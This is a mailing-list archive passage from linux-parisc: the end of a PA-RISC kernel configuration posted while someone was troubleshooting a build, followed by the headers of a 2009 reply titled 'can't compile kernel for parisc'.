# CONFIG_PATA_SC1200 is not set
# CONFIG_PATA_SERVERWORKS is not set
CONFIG_PATA_PDC2027X=m
CONFIG_PATA_SIL680=m
# CONFIG_PATA_SIS is not set
# CONFIG_PATA_VIA is not set
# CONFIG_PATA_WINBOND is not set
# CONFIG_PATA_SCH is not set
CONFIG_MD=y
CONFIG_BLK_DEV_MD=m
CONFIG_MD_LINEAR=m
CONFIG_MD_RAID0=m
CONFIG_MD_RAID1=m
CONFIG_MD_RAID10=m
CONFIG_MD_RAID456=m
CONFIG_MD_RAID5_RESHAPE=y
CONFIG_MD_MULTIPATH=m
CONFIG_MD_FAULTY=m
CONFIG_BLK_DEV_DM=m
# CONFIG_DM_DEBUG is not set
CONFIG_DM_CRYPT=m
CONFIG_DM_SNAPSHOT=m
CONFIG_DM_MIRROR=m
CONFIG_DM_ZERO=m
CONFIG_DM_MULTIPATH=m
CONFIG_DM_DELAY=m
CONFIG_DM_UEVENT=y
CONFIG_FUSION=y
CONFIG_FUSION_SPI=m
CONFIG_FUSION_FC=m
CONFIG_FUSION_SAS=m
CONFIG_FUSION_MAX_SGE=40
CONFIG_FUSION_CTL=m
# CONFIG_FUSION_LOGGING is not set

#
# IEEE 1394 (FireWire) support
#

#
# Enable only one of the two stacks, unless you know what you are doing
#
# CONFIG_FIREWIRE is not set
# CONFIG_IEEE1394 is not set
CONFIG_I2O=m
CONFIG_I2O_LCT_NOTIFY_ON_CHANGES=y
CONFIG_I2O_EXT_ADAPTEC=y
CONFIG_I2O_EXT_ADAPTEC_DMA64=y
CONFIG_I2O_CONFIG=m
CONFIG_I2O_CONFIG_OLD_IOCTL=y
CONFIG_I2O_BUS=m
CONFIG_I2O_BLOCK=m
CONFIG_I2O_SCSI=m
CONFIG_I2O_PROC=m
CONFIG_NETDEVICES=y
CONFIG_IFB=m
# CONFIG_DUMMY is not set
CONFIG_BONDING=m
CONFIG_MACVLAN=m
# CONFIG_EQUALIZER is not set
CONFIG_TUN=m
CONFIG_VETH=m
# CONFIG_ARCNET is not set
CONFIG_PHYLIB=m

#
# MII PHY device drivers
#
CONFIG_MARVELL_PHY=m
CONFIG_DAVICOM_PHY=m
CONFIG_QSEMI_PHY=m
CONFIG_LXT_PHY=m
CONFIG_CICADA_PHY=m
CONFIG_VITESSE_PHY=m
CONFIG_SMSC_PHY=m
CONFIG_BROADCOM_PHY=m
CONFIG_ICPLUS_PHY=m
CONFIG_REALTEK_PHY=m
CONFIG_NATIONAL_PHY=m
CONFIG_STE10XP=m
CONFIG_LSI_ET1011C_PHY=m
CONFIG_MDIO_BITBANG=m
CONFIG_NET_ETHERNET=y
CONFIG_MII=m
CONFIG_HAPPYMEAL=m
CONFIG_SUNGEM=m
CONFIG_CASSINI=m
CONFIG_NET_VENDOR_3COM=y
CONFIG_VORTEX=m
CONFIG_TYPHOON=m
CONFIG_NET_TULIP=y
CONFIG_DE2104X=m
CONFIG_TULIP=m
CONFIG_TULIP_MWI=y
CONFIG_TULIP_MMIO=y
CONFIG_TULIP_NAPI=y
CONFIG_TULIP_NAPI_HW_MITIGATION=y
CONFIG_DE4X5=m
CONFIG_WINBOND_840=m
CONFIG_DM9102=m
CONFIG_ULI526X=m
CONFIG_HP100=m
# CONFIG_IBM_NEW_EMAC_ZMII is not set
# CONFIG_IBM_NEW_EMAC_RGMII is not set
# CONFIG_IBM_NEW_EMAC_TAH is not set
# CONFIG_IBM_NEW_EMAC_EMAC4 is not set
# CONFIG_IBM_NEW_EMAC_NO_FLOW_CTRL is not set
# CONFIG_IBM_NEW_EMAC_MAL_CLR_ICINTSTAT is not set
# CONFIG_IBM_NEW_EMAC_MAL_COMMON_ERR is not set
CONFIG_NET_PCI=y
CONFIG_PCNET32=m
CONFIG_AMD8111_ETH=m
CONFIG_ADAPTEC_STARFIRE=m
# CONFIG_B44 is not set
# CONFIG_FORCEDETH is not set
CONFIG_E100=m
CONFIG_FEALNX=m
CONFIG_NATSEMI=m
CONFIG_NE2K_PCI=m
CONFIG_8139CP=m
CONFIG_8139TOO=m
# CONFIG_8139TOO_PIO is not set
CONFIG_8139TOO_TUNE_TWISTER=y
CONFIG_8139TOO_8129=y
# CONFIG_8139_OLD_RX_RESET is not set
CONFIG_R6040=m
CONFIG_SIS900=m
CONFIG_EPIC100=m
CONFIG_SMSC9420=m
CONFIG_SUNDANCE=m
CONFIG_SUNDANCE_MMIO=y
CONFIG_TLAN=m
CONFIG_VIA_RHINE=m
CONFIG_VIA_RHINE_MMIO=y
CONFIG_SC92031=m
CONFIG_ATL2=m
CONFIG_NETDEV_1000=y
CONFIG_ACENIC=m
# CONFIG_ACENIC_OMIT_TIGON_I is not set
CONFIG_DL2K=m
CONFIG_E1000=m
# CONFIG_E1000E is not set
CONFIG_IP1000=m
# CONFIG_IGB is not set
CONFIG_NS83820=m
CONFIG_HAMACHI=m
CONFIG_YELLOWFIN=m
CONFIG_R8169=m
CONFIG_R8169_VLAN=y
CONFIG_SIS190=m
CONFIG_SKGE=m
# CONFIG_SKGE_DEBUG is not set
CONFIG_SKY2=m
# CONFIG_SKY2_DEBUG is not set
CONFIG_VIA_VELOCITY=m
CONFIG_TIGON3=m
# CONFIG_BNX2 is not set
CONFIG_QLA3XXX=m
CONFIG_ATL1=m
CONFIG_ATL1E=m
CONFIG_ATL1C=m
# CONFIG_JME is not set
# CONFIG_NETDEV_10000 is not set
CONFIG_TR=m
CONFIG_IBMOL=m
CONFIG_3C359=m
CONFIG_TMS380TR=m
CONFIG_TMSPCI=m
CONFIG_ABYSS=m

#
# Wireless LAN
#
# CONFIG_WLAN_PRE80211 is not set
# CONFIG_WLAN_80211 is not set
# CONFIG_IWLWIFI_LEDS is not set

#
# Enable WiMAX (Networking options) to see the WiMAX drivers
#
# CONFIG_WAN is not set
CONFIG_ATM_DRIVERS=y
CONFIG_ATM_DUMMY=m
CONFIG_ATM_TCP=m
CONFIG_ATM_LANAI=m
CONFIG_ATM_ENI=m
# CONFIG_ATM_ENI_DEBUG is not set
# CONFIG_ATM_ENI_TUNE_BURST is not set
CONFIG_ATM_FIRESTREAM=m
CONFIG_ATM_ZATM=m
# CONFIG_ATM_ZATM_DEBUG is not set
CONFIG_ATM_IDT77252=m
# CONFIG_ATM_IDT77252_DEBUG is not set
# CONFIG_ATM_IDT77252_RCV_ALL is not set
CONFIG_ATM_IDT77252_USE_SUNI=y
CONFIG_ATM_AMBASSADOR=m
# CONFIG_ATM_AMBASSADOR_DEBUG is not set
CONFIG_ATM_HORIZON=m
# CONFIG_ATM_HORIZON_DEBUG is not set
CONFIG_ATM_IA=m
# CONFIG_ATM_IA_DEBUG is not set
CONFIG_ATM_FORE200E=m
# CONFIG_ATM_FORE200E_USE_TASKLET is not set
CONFIG_ATM_FORE200E_TX_RETRY=16
CONFIG_ATM_FORE200E_DEBUG=0
CONFIG_ATM_HE=m
CONFIG_ATM_HE_USE_SUNI=y
CONFIG_ATM_SOLOS=m
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
CONFIG_PPP=m
CONFIG_PPP_MULTILINK=y
CONFIG_PPP_FILTER=y
CONFIG_PPP_ASYNC=m
CONFIG_PPP_SYNC_TTY=m
CONFIG_PPP_DEFLATE=m
CONFIG_PPP_BSDCOMP=m
CONFIG_PPP_MPPE=m
CONFIG_PPPOE=m
CONFIG_PPPOATM=m
CONFIG_PPPOL2TP=m
CONFIG_SLIP=m
CONFIG_SLIP_COMPRESSED=y
CONFIG_SLHC=m
CONFIG_SLIP_SMART=y
CONFIG_SLIP_MODE_SLIP6=y
# CONFIG_NET_FC is not set
CONFIG_NETCONSOLE=m
CONFIG_NETCONSOLE_DYNAMIC=y
CONFIG_NETPOLL=y
CONFIG_NETPOLL_TRAP=y
CONFIG_NET_POLL_CONTROLLER=y
# CONFIG_ISDN is not set
# CONFIG_PHONE is not set

#
# Input device support
#
CONFIG_INPUT=y
CONFIG_INPUT_FF_MEMLESS=m
CONFIG_INPUT_POLLDEV=m

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
CONFIG_INPUT_EVDEV=m
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
# CONFIG_INPUT_KEYBOARD is not set
# CONFIG_INPUT_MOUSE is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
# CONFIG_INPUT_MISC is not set

#
# Hardware I/O ports
#
# CONFIG_SERIO is not set
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
# CONFIG_VT_HW_CONSOLE_BINDING is not set
CONFIG_DEVKMEM=y
# CONFIG_SERIAL_NONSTANDARD is not set
# CONFIG_NOZOMI is not set

#
# Serial drivers
#
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_NR_UARTS=32
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
CONFIG_SERIAL_8250_MANY_PORTS=y
CONFIG_SERIAL_8250_SHARE_IRQ=y
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
# CONFIG_SERIAL_8250_RSA is not set

#
# Non-8250 serial port support
#
CONFIG_PDC_CONSOLE=y
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
CONFIG_SERIAL_JSM=m
CONFIG_UNIX98_PTYS=y
# CONFIG_DEVPTS_MULTIPLE_INSTANCES is not set
# CONFIG_LEGACY_PTYS is not set
# CONFIG_IPMI_HANDLER is not set
# CONFIG_HW_RANDOM is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set
# CONFIG_RAW_DRIVER is not set
# CONFIG_TCG_TPM is not set
CONFIG_DEVPORT=y
# CONFIG_I2C is not set
# CONFIG_SPI is not set
# CONFIG_W1 is not set
# CONFIG_POWER_SUPPLY is not set
# CONFIG_HWMON is not set
# CONFIG_THERMAL is not set
# CONFIG_THERMAL_HWMON is not set
# CONFIG_WATCHDOG is not set
CONFIG_SSB_POSSIBLE=y

#
# Sonics Silicon Backplane
#
# CONFIG_SSB is not set

#
# Multifunction device drivers
#
# CONFIG_MFD_CORE is not set
# CONFIG_MFD_SM501 is not set
# CONFIG_HTC_PASIC3 is not set
# CONFIG_MFD_TMIO is not set
# CONFIG_REGULATOR is not set

#
# Multimedia devices
#

#
# Multimedia core support
#
# CONFIG_VIDEO_DEV is not set
# CONFIG_DVB_CORE is not set
# CONFIG_VIDEO_MEDIA is not set

#
# Multimedia drivers
#
# CONFIG_DAB is not set

#
# Graphics support
#
# CONFIG_AGP is not set
# CONFIG_DRM is not set
# CONFIG_VGASTATE is not set
# CONFIG_VIDEO_OUTPUT_CONTROL is not set
# CONFIG_FB is not set
# CONFIG_BACKLIGHT_LCD_SUPPORT is not set

#
# Display device support
#
# CONFIG_DISPLAY_SUPPORT is not set

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
CONFIG_STI_CONSOLE=y
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
# CONFIG_SOUND is not set
# CONFIG_HID_SUPPORT is not set
# CONFIG_USB_SUPPORT is not set
# CONFIG_UWB is not set
# CONFIG_MMC is not set
# CONFIG_MEMSTICK is not set
# CONFIG_NEW_LEDS is not set
# CONFIG_ACCESSIBILITY is not set
# CONFIG_INFINIBAND is not set
CONFIG_RTC_LIB=y
CONFIG_RTC_CLASS=y
CONFIG_RTC_HCTOSYS=y
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
CONFIG_RTC_INTF_DEV_UIE_EMUL=y
# CONFIG_RTC_DRV_TEST is not set

#
# SPI RTC drivers
#

#
# Platform RTC drivers
#
# CONFIG_RTC_DRV_DS1286 is not set
# CONFIG_RTC_DRV_DS1511 is not set
# CONFIG_RTC_DRV_DS1553 is not set
# CONFIG_RTC_DRV_DS1742 is not set
# CONFIG_RTC_DRV_STK17TA8 is not set
# CONFIG_RTC_DRV_M48T86 is not set
# CONFIG_RTC_DRV_M48T35 is not set
# CONFIG_RTC_DRV_M48T59 is not set
# CONFIG_RTC_DRV_BQ4802 is not set
# CONFIG_RTC_DRV_V3020 is not set

#
# on-CPU RTC drivers
#
CONFIG_RTC_DRV_PARISC=y
# CONFIG_DMADEVICES is not set
# CONFIG_UIO is not set
# CONFIG_STAGING is not set

#
# File systems
#
CONFIG_EXT2_FS=m
CONFIG_EXT2_FS_XATTR=y
CONFIG_EXT2_FS_POSIX_ACL=y
CONFIG_EXT2_FS_SECURITY=y
CONFIG_EXT2_FS_XIP=y
CONFIG_EXT3_FS=y
CONFIG_EXT3_FS_XATTR=y
CONFIG_EXT3_FS_POSIX_ACL=y
CONFIG_EXT3_FS_SECURITY=y
CONFIG_EXT4_FS=m
# CONFIG_EXT4DEV_COMPAT is not set
CONFIG_EXT4_FS_XATTR=y
CONFIG_EXT4_FS_POSIX_ACL=y
CONFIG_EXT4_FS_SECURITY=y
CONFIG_FS_XIP=y
CONFIG_JBD=y
# CONFIG_JBD_DEBUG is not set
CONFIG_JBD2=m
# CONFIG_JBD2_DEBUG is not set
CONFIG_FS_MBCACHE=y
CONFIG_REISERFS_FS=m
# CONFIG_REISERFS_CHECK is not set
# CONFIG_REISERFS_PROC_INFO is not set
CONFIG_REISERFS_FS_XATTR=y
CONFIG_REISERFS_FS_POSIX_ACL=y
CONFIG_REISERFS_FS_SECURITY=y
CONFIG_JFS_FS=m
CONFIG_JFS_POSIX_ACL=y
CONFIG_JFS_SECURITY=y
# CONFIG_JFS_DEBUG is not set
# CONFIG_JFS_STATISTICS is not set
CONFIG_FS_POSIX_ACL=y
CONFIG_FILE_LOCKING=y
CONFIG_XFS_FS=m
CONFIG_XFS_QUOTA=y
CONFIG_XFS_POSIX_ACL=y
CONFIG_XFS_RT=y
# CONFIG_XFS_DEBUG is not set
# CONFIG_GFS2_FS is not set
# CONFIG_OCFS2_FS is not set
# CONFIG_BTRFS_FS is not set
CONFIG_DNOTIFY=y
CONFIG_INOTIFY=y
CONFIG_INOTIFY_USER=y
CONFIG_QUOTA=y
CONFIG_QUOTA_NETLINK_INTERFACE=y
CONFIG_PRINT_QUOTA_WARNING=y
CONFIG_QUOTA_TREE=m
CONFIG_QFMT_V1=m
CONFIG_QFMT_V2=m
CONFIG_QUOTACTL=y
CONFIG_AUTOFS_FS=m
CONFIG_AUTOFS4_FS=m
CONFIG_FUSE_FS=m
CONFIG_GENERIC_ACL=y

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=m
CONFIG_JOLIET=y
CONFIG_ZISOFS=y
CONFIG_UDF_FS=m
CONFIG_UDF_NLS=y

#
# DOS/FAT/NT Filesystems
#
CONFIG_FAT_FS=m
CONFIG_MSDOS_FS=m
CONFIG_VFAT_FS=m
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="utf8"
CONFIG_NTFS_FS=m
# CONFIG_NTFS_DEBUG is not set
CONFIG_NTFS_RW=y

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
CONFIG_TMPFS_POSIX_ACL=y
# CONFIG_HUGETLB_PAGE is not set
CONFIG_CONFIGFS_FS=m
CONFIG_MISC_FILESYSTEMS=y
CONFIG_ADFS_FS=m
# CONFIG_ADFS_FS_RW is not set
CONFIG_AFFS_FS=m
CONFIG_ECRYPT_FS=m
CONFIG_HFS_FS=m
CONFIG_HFSPLUS_FS=m
CONFIG_BEFS_FS=m
# CONFIG_BEFS_DEBUG is not set
CONFIG_BFS_FS=m
CONFIG_EFS_FS=m
# CONFIG_CRAMFS is not set
# CONFIG_SQUASHFS is not set
CONFIG_VXFS_FS=m
CONFIG_MINIX_FS=m
CONFIG_OMFS_FS=m
CONFIG_HPFS_FS=m
CONFIG_QNX4FS_FS=m
CONFIG_ROMFS_FS=m
CONFIG_SYSV_FS=m
CONFIG_UFS_FS=m
# CONFIG_UFS_FS_WRITE is not set
# CONFIG_UFS_DEBUG is not set
CONFIG_NETWORK_FILESYSTEMS=y
CONFIG_NFS_FS=m
CONFIG_NFS_V3=y
CONFIG_NFS_V3_ACL=y
CONFIG_NFS_V4=y
CONFIG_NFSD=m
CONFIG_NFSD_V2_ACL=y
CONFIG_NFSD_V3=y
CONFIG_NFSD_V3_ACL=y
CONFIG_NFSD_V4=y
CONFIG_LOCKD=m
CONFIG_LOCKD_V4=y
CONFIG_EXPORTFS=m
CONFIG_NFS_ACL_SUPPORT=m
CONFIG_NFS_COMMON=y
CONFIG_SUNRPC=m
CONFIG_SUNRPC_GSS=m
# CONFIG_SUNRPC_REGISTER_V4 is not set
CONFIG_RPCSEC_GSS_KRB5=m
CONFIG_RPCSEC_GSS_SPKM3=m
# CONFIG_SMB_FS is not set
CONFIG_CIFS=m
# CONFIG_CIFS_STATS is not set
CONFIG_CIFS_WEAK_PW_HASH=y
CONFIG_CIFS_UPCALL=y
CONFIG_CIFS_XATTR=y
CONFIG_CIFS_POSIX=y
# CONFIG_CIFS_DEBUG2 is not set
CONFIG_CIFS_EXPERIMENTAL=y
CONFIG_CIFS_DFS_UPCALL=y
# CONFIG_NCP_FS is not set
# CONFIG_CODA_FS is not set
# CONFIG_AFS_FS is not set

#
# Partition Types
#
CONFIG_PARTITION_ADVANCED=y
# CONFIG_ACORN_PARTITION is not set
CONFIG_OSF_PARTITION=y
CONFIG_AMIGA_PARTITION=y
CONFIG_ATARI_PARTITION=y
CONFIG_MAC_PARTITION=y
CONFIG_MSDOS_PARTITION=y
CONFIG_BSD_DISKLABEL=y
CONFIG_MINIX_SUBPARTITION=y
CONFIG_SOLARIS_X86_PARTITION=y
CONFIG_UNIXWARE_DISKLABEL=y
CONFIG_LDM_PARTITION=y
# CONFIG_LDM_DEBUG is not set
CONFIG_SGI_PARTITION=y
CONFIG_ULTRIX_PARTITION=y
CONFIG_SUN_PARTITION=y
CONFIG_KARMA_PARTITION=y
CONFIG_EFI_PARTITION=y
CONFIG_SYSV68_PARTITION=y
CONFIG_NLS=m
CONFIG_NLS_DEFAULT="utf8"
CONFIG_NLS_CODEPAGE_437=m
CONFIG_NLS_CODEPAGE_737=m
CONFIG_NLS_CODEPAGE_775=m
CONFIG_NLS_CODEPAGE_850=m
CONFIG_NLS_CODEPAGE_852=m
CONFIG_NLS_CODEPAGE_855=m
CONFIG_NLS_CODEPAGE_857=m
CONFIG_NLS_CODEPAGE_860=m
CONFIG_NLS_CODEPAGE_861=m
CONFIG_NLS_CODEPAGE_862=m
CONFIG_NLS_CODEPAGE_863=m
CONFIG_NLS_CODEPAGE_864=m
CONFIG_NLS_CODEPAGE_865=m
CONFIG_NLS_CODEPAGE_866=m
CONFIG_NLS_CODEPAGE_869=m
CONFIG_NLS_CODEPAGE_936=m
CONFIG_NLS_CODEPAGE_950=m
CONFIG_NLS_CODEPAGE_932=m
CONFIG_NLS_CODEPAGE_949=m
CONFIG_NLS_CODEPAGE_874=m
CONFIG_NLS_ISO8859_8=m
CONFIG_NLS_CODEPAGE_1250=m
CONFIG_NLS_CODEPAGE_1251=m
CONFIG_NLS_ASCII=m
CONFIG_NLS_ISO8859_1=m
CONFIG_NLS_ISO8859_2=m
CONFIG_NLS_ISO8859_3=m
CONFIG_NLS_ISO8859_4=m
CONFIG_NLS_ISO8859_5=m
CONFIG_NLS_ISO8859_6=m
CONFIG_NLS_ISO8859_7=m
CONFIG_NLS_ISO8859_9=m
CONFIG_NLS_ISO8859_13=m
CONFIG_NLS_ISO8859_14=m
CONFIG_NLS_ISO8859_15=m
CONFIG_NLS_KOI8_R=m
CONFIG_NLS_KOI8_U=m
CONFIG_NLS_UTF8=m
# CONFIG_DLM is not set

#
# Kernel hacking
#
CONFIG_PRINTK_TIME=y
CONFIG_ENABLE_WARN_DEPRECATED=y
CONFIG_ENABLE_MUST_CHECK=y
CONFIG_FRAME_WARN=2048
CONFIG_MAGIC_SYSRQ=y
CONFIG_UNUSED_SYMBOLS=y
CONFIG_DEBUG_FS=y
# CONFIG_HEADERS_CHECK is not set
CONFIG_DEBUG_KERNEL=y
# CONFIG_DEBUG_SHIRQ is not set
# CONFIG_DETECT_SOFTLOCKUP is not set
# CONFIG_SCHED_DEBUG is not set
# CONFIG_SCHEDSTATS is not set
CONFIG_TIMER_STATS=y
# CONFIG_DEBUG_OBJECTS is not set
# CONFIG_DEBUG_SLAB is not set
# CONFIG_DEBUG_RT_MUTEXES is not set
# CONFIG_RT_MUTEX_TESTER is not set
# CONFIG_DEBUG_SPINLOCK is not set
# CONFIG_DEBUG_MUTEXES is not set
# CONFIG_DEBUG_SPINLOCK_SLEEP is not set
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_DEBUG_KOBJECT is not set
CONFIG_DEBUG_BUGVERBOSE=y
# CONFIG_DEBUG_INFO is not set
# CONFIG_DEBUG_VM is not set
# CONFIG_DEBUG_WRITECOUNT is not set
CONFIG_DEBUG_MEMORY_INIT=y
# CONFIG_DEBUG_LIST is not set
# CONFIG_DEBUG_SG is not set
# CONFIG_DEBUG_NOTIFIERS is not set
# CONFIG_BOOT_PRINTK_DELAY is not set
# CONFIG_RCU_TORTURE_TEST is not set
CONFIG_RCU_CPU_STALL_DETECTOR=y
# CONFIG_BACKTRACE_SELF_TEST is not set
# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set
# CONFIG_FAULT_INJECTION is not set
# CONFIG_SYSCTL_SYSCALL_CHECK is not set
CONFIG_NOP_TRACER=y
CONFIG_RING_BUFFER=y
CONFIG_TRACING=y

#
# Tracers
#
# CONFIG_SCHED_TRACER is not set
# CONFIG_CONTEXT_SWITCH_TRACER is not set
# CONFIG_BOOT_TRACER is not set
# CONFIG_TRACE_BRANCH_PROFILING is not set
# CONFIG_FTRACE_STARTUP_TEST is not set
# CONFIG_DYNAMIC_PRINTK_DEBUG is not set
# CONFIG_SAMPLES is not set
CONFIG_DEBUG_RODATA=y

#
# Security options
#
CONFIG_KEYS=y
# CONFIG_KEYS_DEBUG_PROC_KEYS is not set
CONFIG_SECURITY=y
# CONFIG_SECURITYFS is not set
# CONFIG_SECURITY_NETWORK is not set
# CONFIG_SECURITY_PATH is not set
CONFIG_SECURITY_FILE_CAPABILITIES=y
CONFIG_SECURITY_DEFAULT_MMAP_MIN_ADDR=0
CONFIG_XOR_BLOCKS=m
CONFIG_ASYNC_CORE=m
CONFIG_ASYNC_MEMCPY=m
CONFIG_ASYNC_XOR=m
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_FIPS=y
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_AEAD=m
CONFIG_CRYPTO_AEAD2=y
CONFIG_CRYPTO_BLKCIPHER=m
CONFIG_CRYPTO_BLKCIPHER2=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_HASH2=y
CONFIG_CRYPTO_RNG=m
CONFIG_CRYPTO_RNG2=y
CONFIG_CRYPTO_MANAGER=m
CONFIG_CRYPTO_MANAGER2=y
CONFIG_CRYPTO_GF128MUL=m
CONFIG_CRYPTO_NULL=m
CONFIG_CRYPTO_CRYPTD=m
CONFIG_CRYPTO_AUTHENC=m
CONFIG_CRYPTO_TEST=m

#
# Authenticated Encryption with Associated Data
#
CONFIG_CRYPTO_CCM=m
CONFIG_CRYPTO_GCM=m
CONFIG_CRYPTO_SEQIV=m

#
# Block modes
#
CONFIG_CRYPTO_CBC=m
CONFIG_CRYPTO_CTR=m
CONFIG_CRYPTO_CTS=m
CONFIG_CRYPTO_ECB=m
CONFIG_CRYPTO_LRW=m
CONFIG_CRYPTO_PCBC=m
CONFIG_CRYPTO_XTS=m

#
# Hash modes
#
CONFIG_CRYPTO_HMAC=m
CONFIG_CRYPTO_XCBC=m

#
# Digest
#
CONFIG_CRYPTO_CRC32C=m
CONFIG_CRYPTO_MD4=m
CONFIG_CRYPTO_MD5=y
CONFIG_CRYPTO_MICHAEL_MIC=m
CONFIG_CRYPTO_RMD128=m
CONFIG_CRYPTO_RMD160=m
CONFIG_CRYPTO_RMD256=m
CONFIG_CRYPTO_RMD320=m
CONFIG_CRYPTO_SHA1=m
CONFIG_CRYPTO_SHA256=m
CONFIG_CRYPTO_SHA512=m
CONFIG_CRYPTO_TGR192=m
CONFIG_CRYPTO_WP512=m

#
# Ciphers
#
CONFIG_CRYPTO_AES=m
CONFIG_CRYPTO_ANUBIS=m
CONFIG_CRYPTO_ARC4=m
CONFIG_CRYPTO_BLOWFISH=m
CONFIG_CRYPTO_CAMELLIA=m
CONFIG_CRYPTO_CAST5=m
CONFIG_CRYPTO_CAST6=m
CONFIG_CRYPTO_DES=m
CONFIG_CRYPTO_FCRYPT=m
CONFIG_CRYPTO_KHAZAD=m
CONFIG_CRYPTO_SALSA20=m
CONFIG_CRYPTO_SEED=m
CONFIG_CRYPTO_SERPENT=m
CONFIG_CRYPTO_TEA=m
CONFIG_CRYPTO_TWOFISH=m
CONFIG_CRYPTO_TWOFISH_COMMON=m

#
# Compression
#
CONFIG_CRYPTO_DEFLATE=m
CONFIG_CRYPTO_LZO=m

#
# Random Number Generation
#
CONFIG_CRYPTO_ANSI_CPRNG=m
# CONFIG_CRYPTO_HW is not set

#
# Library routines
#
CONFIG_BITREVERSE=y
CONFIG_GENERIC_FIND_LAST_BIT=y
CONFIG_CRC_CCITT=m
CONFIG_CRC16=m
# CONFIG_CRC_T10DIF is not set
CONFIG_CRC_ITU_T=m
CONFIG_CRC32=y
# CONFIG_CRC7 is not set
CONFIG_LIBCRC32C=m
CONFIG_ZLIB_INFLATE=m
CONFIG_ZLIB_DEFLATE=m
CONFIG_LZO_COMPRESS=m
CONFIG_LZO_DECOMPRESS=m
CONFIG_TEXTSEARCH=y
CONFIG_TEXTSEARCH_KMP=m
CONFIG_TEXTSEARCH_BM=m
CONFIG_TEXTSEARCH_FSM=m
CONFIG_PLIST=y
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_DMA=y
CONFIG_CHECK_SIGNATURE=y

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't compile kernel for parisc
Date: Wed, 18 Mar 2009 10:00:26 -0400 (EDT)
Lines: 42
Approved: news@gmane.org
Message-ID: <20090318140026.7F06C4FA9@hiauly1.hia.nrc.ca>
References: <a4423d670903180455u20ead146k919426a1fb7276c6@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1237384846 12798 80.91.229.12 (18 Mar 2009 14:00:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 18 Mar 2009 14:00:46 +0000 (UTC)
Cc: carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: a.beregalov@gmail.com (Alexander Beregalov)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 18 15:01:59 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LjwLB-0005qN-Br
	for glpp-linux-parisc@gmane.org; Wed, 18 Mar 2009 15:01:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752507AbZCROA3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 18 Mar 2009 10:00:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754074AbZCROA3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 18 Mar 2009 10:00:29 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2030 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753672AbZCROA3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 18 Mar 2009 10:00:29 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 7F06C4FA9; Wed, 18 Mar 2009 10:00:26 -0400 (EDT)
In-Reply-To: <a4423d670903180455u20ead146k919426a1fb7276c6@mail.gmail.com> from "Alexander Beregalov" at Mar 18, 2009 02:55:13 pm
X-Mailer: ELM [version 2.4 PL25]
